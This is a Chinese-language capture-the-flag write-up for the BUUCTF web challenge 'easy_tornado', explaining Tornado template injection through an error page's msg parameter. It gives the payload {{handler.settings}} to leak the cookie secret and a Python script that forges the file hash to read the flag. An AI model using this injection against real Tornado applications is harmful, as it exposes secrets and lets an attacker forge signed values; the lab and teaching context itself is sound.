【BUUCTF】web 之 [护网杯 2018]easy_tornado

1 篇文章 0 订阅

打开出现三个目录:
/flag.txt
/welcome.txt
/hints.txt

依次点开查看

flag.txt 告诉我们flag在哪里

点开welcome.txt 显示 render 之后百度:tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。漏洞在于用户对他可控的话,可以通过{{}}传递变量或者执行表达式

/hints.txt 显示md5(cookie_secret+md5(filename))
仔细观察url发现 访问目录时 filename & filehash 变化, 加上目录里的提示我们可以构造url来解决此题。

使url中的filename=flllllllllllag
得到 http://50dea0f4-59b6-45a2-938a-6620a51c00c8.node3.buuoj.cn/error?msg=Error
修改 msg 的值 发现写在网页上面了 参考师傅们的博客:
msg={{handler.settings}} 可得到cookie。
然后根据hints的提示解题 话不多说上脚本:

#coding:'utf-8'
import hashlib

cookie = 'd1b53e16-511d-46eb-8499-4672e647eb9b'
filename = '/fllllllllllllag'
md5_filename = hashlib.md5(filename.encode(encoding='UTF-8')).hexdigest()
word= cookie + md5_filename
flag=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(flag)

所以 filehash=7301debca32903e96c13f04948944eb1
构造url访问得flag

SSTI服务器模板注入
不明白COOKIE咋来的点这里

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值